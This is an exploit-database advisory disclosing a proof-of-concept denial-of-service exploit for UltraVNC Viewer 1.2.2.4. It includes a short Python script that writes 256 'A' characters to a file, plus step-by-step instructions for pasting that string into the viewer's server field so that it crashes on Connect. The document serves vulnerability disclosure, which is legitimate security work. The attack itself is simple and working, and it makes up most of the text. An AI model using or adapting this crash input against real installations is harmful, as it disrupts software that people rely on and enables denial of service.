UltraVNC Viewer 1.2.2.4 Denial Of Service

2019-04-15T00:00:00
ID PACKETSTORM:152519
Type packetstorm
Reporter Victor Mondragon
Modified 2019-04-15T00:00:00

Description

                                        
                                            `#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-04-14  
#Vendor Homepage: https://www.uvnc.com/  
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html  
#Tested Version: 1.2.2.4  
#Tested on: Windows 7 x64 Service Pack 1  
  
#Steps to produce the crash:  
#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py  
#2.- Open UltraViewer.txt and copy content to clipboard  
#3.- Open UltraVNC Viewer   
#4.- In "VNC Server" Paste Clipboard  
#5.- Click on "Connect"  
#6.- Crashed  
  
cod = "\x41" * 256  
  
f = open('UltraViewer.txt', 'w')  
f.write(cod)  
f.close()  
`